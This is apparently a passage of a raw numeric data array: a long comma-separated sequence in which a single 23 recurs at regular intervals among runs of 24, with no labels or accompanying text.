23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 